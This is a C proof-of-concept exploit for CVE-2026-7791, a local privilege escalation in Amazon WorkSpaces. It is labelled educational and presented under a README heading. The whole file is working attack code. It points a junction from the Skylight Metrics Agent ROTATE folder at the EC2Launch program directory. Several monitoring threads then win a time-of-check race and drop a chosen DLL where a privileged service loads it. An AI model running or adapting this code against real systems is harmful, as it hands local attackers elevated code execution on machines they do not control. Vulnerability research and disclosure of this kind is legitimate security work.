README.md
Rendering markdown...
/*
CVE-2026-7791: Privileged by Default
Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write
Author: Ben Zamir
For educational purposes only
License: MIT
*/
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0600
#endif
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
// Define THREAD_PRIORITY_HIGH
#ifndef THREAD_PRIORITY_HIGH
#define THREAD_PRIORITY_HIGH 1
#endif
// Configuration
#define BASE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent"
#define ROTATE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent\\ROTATE"
// The PoC writes a DLL to the EC2Launch service
#define DEFAULT_JUNCTION_TARGET L"C:\\Program Files\\Amazon\\EC2Launch"
#define DEFAULT_FILENAME L"test.dll"
#define BUFFER_SIZE 4096
#define MAX_FILENAME_LEN 260
#define MAX_PATH_LEN 260
// Global filename (set from command-line argument or user input)
wchar_t g_filename[MAX_FILENAME_LEN] = DEFAULT_FILENAME;
// Global junction target path (set from command-line argument)
wchar_t g_junctionTarget[MAX_PATH_LEN] = DEFAULT_JUNCTION_TARGET;
// Atomic flag using Interlocked operations
volatile LONG g_rotateDeleted = 0;
// Function to delete ROTATE junction atomically
bool DeleteRotateJunction(void) {
// Atomic check-and-set: if already deleted, return immediately
LONG expected = 0;
LONG desired = 1;
LONG result = InterlockedCompareExchange(&g_rotateDeleted, desired, expected);
if (result != 0) {
// Already deleted by another thread/event
return false;
}
// We won the race - delete the junction
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [!] Deleting rotate junction\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
wprintf(L"[!] Target: %s\n", ROTATE_DIR);
wprintf(L"[!] Timing: Target file just appeared, GetArchivedFiles() about to be called\n");
// RemoveDirectoryW
for (int attempt = 0; attempt < 3; attempt++) {
if (RemoveDirectoryW(ROTATE_DIR)) {
// Verify deletion by checking attributes (forces cache refresh)
DWORD attrs = GetFileAttributesW(ROTATE_DIR);
if (attrs == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[+] Success: ROTATE junction deleted (RemoveDirectoryW, attempt %d)!\n", attempt + 1);
wprintf(L"[+] Deletion verified - GetArchivedFiles() Directory.Exists() will FAIL\n");
wprintf(L"[+] No files will be enumerated or moved to TRANSMITTED\n");
return true;
}
// Junction still exists (race condition - recreated?), try again
if (attempt < 2) {
Sleep(1); // Wait 1ms before retry
}
}
}
// Try DeleteFileW
DWORD error = GetLastError();
if (error == ERROR_DIRECTORY || error == ERROR_FILE_EXISTS) {
if (DeleteFileW(ROTATE_DIR)) {
// Verify deletion
if (GetFileAttributesW(ROTATE_DIR) == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[+] Success: ROTATE junction deleted (DeleteFileW)!\n");
return true;
}
}
}
// Use cmd rmdir (most reliable, but slower - last resort)
wprintf(L"[!] RemoveDirectoryW failed (error: %lu), trying cmd rmdir...\n", error);
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = 0; // Don't inherit handles for faster execution
wchar_t cmdline[512];
swprintf_s(cmdline, 512, L"cmd.exe /c rmdir /Q /S \"%s\"", ROTATE_DIR);
if (CreateProcessW(NULL, cmdline, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 100); // Wait max 100ms (don't block too long)
DWORD exitCode;
if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
wprintf(L"[+] Success: ROTATE junction deleted (cmd rmdir)!\n");
return true;
}
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
wprintf(L"[!] Failed: All methods failed to delete ROTATE junction\n");
// Reset flag to allow retry
InterlockedExchange(&g_rotateDeleted, 0);
return false;
}
// Monitor junction target for file creation
DWORD WINAPI MonitorJunctionTarget(LPVOID lpParam) {
HANDLE hDir = CreateFileW(
g_junctionTarget,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Error: Failed to open junction target directory (error: %lu)\n", GetLastError());
return 1;
}
wprintf(L"[+] Monitoring junction target: %s\n", g_junctionTarget);
wprintf(L"[+] Waiting for %s creation event...\n", g_filename);
char buffer[BUFFER_SIZE];
DWORD bytesReturned;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
while (true) {
// Start asynchronous directory change notification
if (!ReadDirectoryChangesW(
hDir,
buffer,
BUFFER_SIZE,
FALSE, // Watch immediate directory only
FILE_NOTIFY_CHANGE_FILE_NAME, // Watch for file name changes
&bytesReturned,
&overlapped,
NULL
)) {
wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError());
break;
}
// Wait for change notification
DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
if (waitResult == WAIT_OBJECT_0) {
// Get result
if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError());
break;
}
// Parse notification
FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
do {
// Convert filename to null-terminated wide string
wchar_t filename[MAX_PATH];
int len = pNotify->FileNameLength / sizeof(wchar_t);
wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
filename[len] = L'\0';
// Check if it's our target file
if (_wcsicmp(filename, g_filename) == 0) {
// Check action type - FILE_ACTION_ADDED means file was created
if (pNotify->Action == FILE_ACTION_ADDED) {
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [!] Critical event: %s created in junction target\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename);
wprintf(L"[!] File: %s\\%s\n", g_junctionTarget, filename);
wprintf(L"[!] File.Move() JUST completed - ArchiveLogFilesExceptFor() about to finish\n");
wprintf(L"[!] GetArchivedFiles() will be called IMMEDIATELY after\n");
wprintf(L"[!] DELETING JUNCTION NOW to prevent Directory.Exists() from succeeding!\n");
// CRITICAL: Delete ROTATE junction IMMEDIATELY - no delays
DeleteRotateJunction();
}
}
// Move to next notification
if (pNotify->NextEntryOffset == 0) {
break;
}
pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
} while (true);
// Reset event for next notification
ResetEvent(overlapped.hEvent);
} else {
wprintf(L"[!] ERROR: WaitForSingleObject failed\n");
break;
}
}
CloseHandle(overlapped.hEvent);
CloseHandle(hDir);
return 0;
}
// Monitor Current directory for enumeration start
DWORD WINAPI MonitorCurrentDirectoryEnumeration(LPVOID lpParam) {
HANDLE hDir = CreateFileW(
BASE_DIR,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError());
return 1;
}
wprintf(L"[+] Monitoring Current directory for enumeration start\n");
wprintf(L"[+] Delete junction when ArchiveLogFilesExceptFor() begins\n");
char buffer[BUFFER_SIZE];
DWORD bytesReturned;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
while (true) {
// Monitor for directory access (enumeration)
if (!ReadDirectoryChangesW(
hDir,
buffer,
BUFFER_SIZE,
FALSE, // Watch immediate directory only
FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_FILE_NAME, // Watch for access and file changes
&bytesReturned,
&overlapped,
NULL
)) {
wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError());
break;
}
// Wait for change notification
DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
if (waitResult == WAIT_OBJECT_0) {
// Get result
if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError());
break;
}
// Parse notification
FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
do {
// Check if this is directory enumeration
if (pNotify->Action == FILE_ACTION_REMOVED) {
SYSTEMTIME st;
GetSystemTime(&st);
wchar_t filename[MAX_PATH];
int len = pNotify->FileNameLength / sizeof(wchar_t);
wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
filename[len] = L'\0';
// If it's our target file being deleted, ArchiveLogFilesExceptFor() has started
if (_wcsicmp(filename, g_filename) == 0) {
wprintf(L"[%02d:%02d:%02d.%03d] [!] PROACTIVE: ArchiveLogFilesExceptFor() started!\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
wprintf(L"[!] File deletion detected - enumeration in progress\n");
wprintf(L"[!] Deleting ROTATE junction PROACTIVELY (before GetArchivedFiles() is called)\n");
// Delete junction now, before GetArchivedFiles() is called
DeleteRotateJunction();
}
}
// Move to next notification
if (pNotify->NextEntryOffset == 0) {
break;
}
pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
} while (true);
// Reset event for next notification
ResetEvent(overlapped.hEvent);
} else {
wprintf(L"[!] ERROR: WaitForSingleObject failed\n");
break;
}
}
CloseHandle(overlapped.hEvent);
CloseHandle(hDir);
return 0;
}
// Monitor Current directory for file deletion (logging only - backup detection)
DWORD WINAPI MonitorCurrentDirectory(LPVOID lpParam) {
HANDLE hDir = CreateFileW(
BASE_DIR,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError());
return 1;
}
wprintf(L"[+] BACKUP: Monitoring Current directory for file deletion (logging)\n");
char buffer[BUFFER_SIZE];
DWORD bytesReturned;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
while (true) {
if (!ReadDirectoryChangesW(
hDir,
buffer,
BUFFER_SIZE,
FALSE,
FILE_NOTIFY_CHANGE_FILE_NAME,
&bytesReturned,
&overlapped,
NULL
)) {
break;
}
DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
if (waitResult == WAIT_OBJECT_0) {
if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
break;
}
FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
do {
wchar_t filename[MAX_PATH];
int len = pNotify->FileNameLength / sizeof(wchar_t);
wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
filename[len] = L'\0';
if (_wcsicmp(filename, g_filename) == 0) {
if (pNotify->Action == FILE_ACTION_REMOVED ||
pNotify->Action == FILE_ACTION_RENAMED_OLD_NAME) {
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [*] File DELETED from Current\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
wprintf(L"[*] File: %s\n", filename);
wprintf(L"[*] ArchiveLogFile() started File.Move()\n");
}
}
if (pNotify->NextEntryOffset == 0) {
break;
}
pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
} while (true);
ResetEvent(overlapped.hEvent);
} else {
break;
}
}
CloseHandle(overlapped.hEvent);
CloseHandle(hDir);
return 0;
}
// High-frequency polling fallback - Monitor junction target for file appearance
DWORD WINAPI PollingFallback(LPVOID lpParam) {
wchar_t junctionTargetFile[MAX_PATH];
swprintf_s(junctionTargetFile, MAX_PATH, L"%s\\%s", g_junctionTarget, g_filename);
bool lastExists = false;
// Check initial state
if (GetFileAttributesW(junctionTargetFile) != INVALID_FILE_ATTRIBUTES) {
lastExists = true;
}
wprintf(L"[+] Polling fallback started (checking junction target every 1ms)\n");
while (true) {
Sleep(1); // Check every 1ms for maximum responsiveness
DWORD attrs = GetFileAttributesW(junctionTargetFile);
bool currentExists = (attrs != INVALID_FILE_ATTRIBUTES);
// File appeared in junction target (File.Move() completed)
if (!lastExists && currentExists) {
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [!] Polling: %s detected in junction target!\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename);
wprintf(L"[!] File Move completed - deleting ROTATE junction...\n");
// Try to delete ROTATE junction immediately (if not already deleted)
if (InterlockedCompareExchange(&g_rotateDeleted, 1, 0) == 0) {
if (RemoveDirectoryW(ROTATE_DIR)) {
wprintf(L"[+] Polling: ROTATE junction deleted!\n");
} else {
// Reset flag if deletion failed
InterlockedExchange(&g_rotateDeleted, 0);
DeleteRotateJunction();
}
}
}
lastExists = currentExists;
}
return 0;
}
int wmain(int argc, wchar_t* argv[]) {
wprintf(L"========================================\n");
wprintf(L"CVE-2026-7791: Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write \n");
wprintf(L"========================================\n\n");
// Parse command-line arguments
if (argc > 1) {
// Filename to monitor
if (wcslen(argv[1]) < MAX_FILENAME_LEN) {
wcscpy_s(g_filename, MAX_FILENAME_LEN, argv[1]);
wprintf(L"[+] Using filename from argument: %s\n", g_filename);
} else {
wprintf(L"[!] ERROR: Filename too long (max %d characters)\n", MAX_FILENAME_LEN - 1);
wprintf(L"[!] Using default: %s\n", DEFAULT_FILENAME);
}
// Junction target path (optional)
if (argc > 2) {
if (wcslen(argv[2]) < MAX_PATH_LEN) {
wcscpy_s(g_junctionTarget, MAX_PATH_LEN, argv[2]);
wprintf(L"[+] Using junction target path from argument: %s\n", g_junctionTarget);
} else {
wprintf(L"[!] ERROR: Path too long (max %d characters)\n", MAX_PATH_LEN - 1);
wprintf(L"[!] Using default: %s\n", DEFAULT_JUNCTION_TARGET);
}
} else {
wprintf(L"[*] No junction target path provided, using default: %s\n", DEFAULT_JUNCTION_TARGET);
}
} else {
// No arguments provided - interactive mode
wprintf(L"[*] No arguments provided\n");
wprintf(L"[*] Please enter the filename to monitor:\n");
wprintf(L"[*] > ");
// Read filename from stdin
wchar_t input[MAX_FILENAME_LEN];
if (fgetws(input, MAX_FILENAME_LEN, stdin) != NULL) {
// Remove newline if present
size_t len = wcslen(input);
if (len > 0 && input[len - 1] == L'\n') {
input[len - 1] = L'\0';
}
if (len > 1 && input[len - 2] == L'\r') {
input[len - 2] = L'\0';
}
// Trim whitespace
wchar_t* start = input;
while (*start == L' ' || *start == L'\t') start++;
wchar_t* end = start + wcslen(start) - 1;
while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\n' || *end == L'\r')) end--;
*(end + 1) = L'\0';
if (wcslen(start) > 0 && wcslen(start) < MAX_FILENAME_LEN) {
wcscpy_s(g_filename, MAX_FILENAME_LEN, start);
wprintf(L"[+] Using filename: %s\n", g_filename);
} else {
wprintf(L"[!] Invalid filename, using default: %s\n", DEFAULT_FILENAME);
}
} else {
wprintf(L"[!] Failed to read input, using default: %s\n", DEFAULT_FILENAME);
}
// Ask for junction target path
wprintf(L"\n[*] Please enter the junction target path:\n");
wprintf(L"[*] > ");
wchar_t pathInput[MAX_PATH_LEN];
if (fgetws(pathInput, MAX_PATH_LEN, stdin) != NULL) {
// Remove newline if present
size_t len = wcslen(pathInput);
if (len > 0 && pathInput[len - 1] == L'\n') {
pathInput[len - 1] = L'\0';
}
if (len > 1 && pathInput[len - 2] == L'\r') {
pathInput[len - 2] = L'\0';
}
// Trim whitespace
wchar_t* start = pathInput;
while (*start == L' ' || *start == L'\t') start++;
wchar_t* end = start + wcslen(start) - 1;
while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\n' || *end == L'\r')) end--;
*(end + 1) = L'\0';
if (wcslen(start) > 0 && wcslen(start) < MAX_PATH_LEN) {
wcscpy_s(g_junctionTarget, MAX_PATH_LEN, start);
wprintf(L"[+] Using junction target path: %s\n", g_junctionTarget);
} else {
wprintf(L"[*] Using default junction target path: %s\n", DEFAULT_JUNCTION_TARGET);
}
} else {
wprintf(L"[*] Using default junction target path: %s\n", DEFAULT_JUNCTION_TARGET);
}
wprintf(L"\n[*] Usage examples:\n");
wprintf(L"[*] %s <filename>\n", argc > 0 ? argv[0] : L"exploit.exe");
wprintf(L"[*] %s <filename> <junction_target_path>\n", argc > 0 ? argv[0] : L"exploit.exe");
wprintf(L"[*] %s test.dll\n", argc > 0 ? argv[0] : L"exploit.exe");
wprintf(L"[*] %s exploit.exe c:\\test\n\n", argc > 0 ? argv[0] : L"exploit.exe");
}
wprintf(L"\n[*] Configuration:\n");
wprintf(L"[*] Target file: %s\n", g_filename);
wprintf(L"[*] Current directory: %s\n", BASE_DIR);
wprintf(L"[*] ROTATE junction: %s\n", ROTATE_DIR);
wprintf(L"[*] Junction target: %s\n", g_junctionTarget);
wprintf(L"[*] Setup\n");
// Verify/Create BASE_DIR
wprintf(L"[*] Step 1: Checking base directory...\n");
DWORD baseAttrs = GetFileAttributesW(BASE_DIR);
if (baseAttrs == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[+] Base directory does not exist, creating: %s\n", BASE_DIR);
if (CreateDirectoryW(BASE_DIR, NULL)) {
wprintf(L"[+] Base directory created successfully\n");
} else {
DWORD error = GetLastError();
if (error == ERROR_ALREADY_EXISTS) {
wprintf(L"[*] Base directory already exists (race condition)\n");
} else {
wprintf(L"[!] ERROR: Failed to create base directory (error: %lu)\n", error);
return 1;
}
}
} else {
wprintf(L"[+] Base directory already exists\n");
}
// Create ROTATE junction
wprintf(L"[*] Step 2: Checking ROTATE junction...\n");
DWORD rotateAttrs = GetFileAttributesW(ROTATE_DIR);
if (rotateAttrs == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[+] ROTATE junction does not exist, creating...\n");
wprintf(L"[+] Command: mklink /J \"%s\" \"%s\"\n", ROTATE_DIR, g_junctionTarget);
// Build mklink command
wchar_t cmdLine[1024];
swprintf_s(cmdLine, 1024, L"cmd.exe /c mklink /J \"%s\" \"%s\"", ROTATE_DIR, g_junctionTarget);
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // Hide window
if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 5000); // Wait up to 5 seconds
DWORD exitCode;
if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) {
wprintf(L"[+] ROTATE junction created successfully\n");
} else {
wprintf(L"[!] Warning: mklink command may have failed (exit code: %lu)\n", exitCode);
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
wprintf(L"[!] ERROR: Failed to execute mklink command (error: %lu)\n", GetLastError());
return 1;
}
} else {
if (rotateAttrs & FILE_ATTRIBUTE_REPARSE_POINT) {
wprintf(L"[+] ROTATE junction already exists\n");
} else {
wprintf(L"[!] Note: ROTATE exists but is not a junction!\n");
wprintf(L"[!] Attempting to delete and recreate...\n");
if (RemoveDirectoryW(ROTATE_DIR) || DeleteFileW(ROTATE_DIR)) {
// Recreate as junction
wchar_t cmdLine[1024];
swprintf_s(cmdLine, 1024, L"cmd.exe /c mklink /J \"%s\" \"%s\"", ROTATE_DIR, g_junctionTarget);
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
}
}
// Verify junction was created
rotateAttrs = GetFileAttributesW(ROTATE_DIR);
if (rotateAttrs == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[!] Note: ROTATE junction does not exist after creation attempt!\n");
wprintf(L"[!] Please create it manually: mklink /J \"%s\" \"%s\"\n", ROTATE_DIR, g_junctionTarget);
return 1;
}
if (!(rotateAttrs & FILE_ATTRIBUTE_REPARSE_POINT)) {
wprintf(L"[!] Note: ROTATE is not a junction/reparse point!\n");
return 1;
}
wprintf(L"[+] Confirmed ROTATE is a junction/reparse point\n");
// Check if file exists in program directory and copy it
wprintf(L"[*] Step 3: Checking for file in program directory...\n");
// Get program directory
wchar_t programPath[MAX_PATH];
if (GetModuleFileNameW(NULL, programPath, MAX_PATH) == 0) {
wprintf(L"[!] Warning: Failed to get program path (error: %lu)\n", GetLastError());
} else {
// Extract directory from full path
wchar_t* lastSlash = wcsrchr(programPath, L'\\');
if (lastSlash != NULL) {
*(lastSlash + 1) = L'\0'; // Null-terminate at directory (keeps backslash)
} else {
// No backslash found (unlikely), add one
size_t len = wcslen(programPath);
if (len < MAX_PATH - 1) {
programPath[len] = L'\\';
programPath[len + 1] = L'\0';
}
}
// Build source file path
wchar_t sourceFile[MAX_PATH];
swprintf_s(sourceFile, MAX_PATH, L"%s%s", programPath, g_filename);
// Build destination file path
wchar_t destFile[MAX_PATH];
swprintf_s(destFile, MAX_PATH, L"%s\\%s", BASE_DIR, g_filename);
// Check if source file exists
DWORD sourceAttrs = GetFileAttributesW(sourceFile);
if (sourceAttrs != INVALID_FILE_ATTRIBUTES && !(sourceAttrs & FILE_ATTRIBUTE_DIRECTORY)) {
wprintf(L"[+] File found in program directory: %s\n", sourceFile);
wprintf(L"[+] Copying to: %s\n", destFile);
// Copy file
if (CopyFileW(sourceFile, destFile, FALSE)) {
wprintf(L"[+] File copied successfully\n");
} else {
DWORD error = GetLastError();
if (error == ERROR_FILE_EXISTS) {
wprintf(L"[*] File already exists in destination, skipping copy\n");
} else {
wprintf(L"[!] WARNING: Failed to copy file (error: %lu)\n", error);
wprintf(L"[!] Continuing anyway - file may already be in target directory\n");
}
}
} else {
wprintf(L"[*] File not found in program directory: %s\n", sourceFile);
wprintf(L"[*] Assuming file is already in target directory or will be placed manually\n");
}
}
wprintf(L"[+] Setup Complete \n\n");
// Increase process priority to HIGH (doesn't require admin)
if (SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS)) {
wprintf(L"[+] Process priority set to HIGH_PRIORITY_CLASS\n");
} else {
wprintf(L"[!] Warning: Failed to set process priority (error: %lu)\n", GetLastError());
}
wprintf(L"\n[*] Starting monitoring threads...\n\n");
// Monitor Current directory for enumeration start
HANDLE hProactiveThread = CreateThread(
NULL,
0,
MonitorCurrentDirectoryEnumeration,
NULL,
0,
NULL
);
if (!hProactiveThread) {
wprintf(L"[!] Error: Failed to create proactive monitor thread (error: %lu)\n", GetLastError());
return 1;
}
SetThreadPriority(hProactiveThread, THREAD_PRIORITY_HIGH);
// reate junction target monitoring thread (ReadDirectoryChangesW)
HANDLE hJunctionTargetThread = CreateThread(
NULL,
0,
MonitorJunctionTarget,
NULL,
0,
NULL
);
if (!hJunctionTargetThread) {
wprintf(L"[!] Error: Failed to create junction target monitor thread (error: %lu)\n", GetLastError());
CloseHandle(hProactiveThread);
return 1;
}
SetThreadPriority(hJunctionTargetThread, THREAD_PRIORITY_HIGH);
// Create Current directory monitoring thread (logging only)
HANDLE hCurrentThread = CreateThread(
NULL,
0,
MonitorCurrentDirectory,
NULL,
0,
NULL
);
if (!hCurrentThread) {
wprintf(L"[!] Error: Failed to create Current directory monitor thread (error: %lu)\n", GetLastError());
CloseHandle(hProactiveThread);
CloseHandle(hJunctionTargetThread);
return 1;
}
// Create polling fallback thread (high-frequency check - 1ms)
HANDLE hPollingThread = CreateThread(
NULL,
0,
PollingFallback,
NULL,
0,
NULL
);
if (!hPollingThread) {
wprintf(L"[!] ERROR: Failed to create polling thread (error: %lu)\n", GetLastError());
CloseHandle(hProactiveThread);
CloseHandle(hJunctionTargetThread);
CloseHandle(hCurrentThread);
return 1;
}
SetThreadPriority(hPollingThread, THREAD_PRIORITY_HIGH);
wprintf(L"[+] Monitoring Current directory for enumeration start\n");
wprintf(L"[+] Monitoring junction target for %s creation\n", g_filename);
wprintf(L"[+] Monitoring Current directory for file deletion (logging)\n");
wprintf(L"[+] High-frequency polling (1ms) on junction target\n");
wprintf(L"[+] Press Ctrl+C to stop\n\n");
// Wait for threads (or Ctrl+C)
HANDLE threads[] = {hProactiveThread, hJunctionTargetThread, hCurrentThread, hPollingThread};
WaitForMultipleObjects(4, threads, FALSE, INFINITE);
// Cleanup
TerminateThread(hProactiveThread, 0);
TerminateThread(hJunctionTargetThread, 0);
TerminateThread(hCurrentThread, 0);
TerminateThread(hPollingThread, 0);
CloseHandle(hProactiveThread);
CloseHandle(hJunctionTargetThread);
CloseHandle(hCurrentThread);
CloseHandle(hPollingThread);
wprintf(L"\n[*] Monitoring stopped\n");
return 0;
}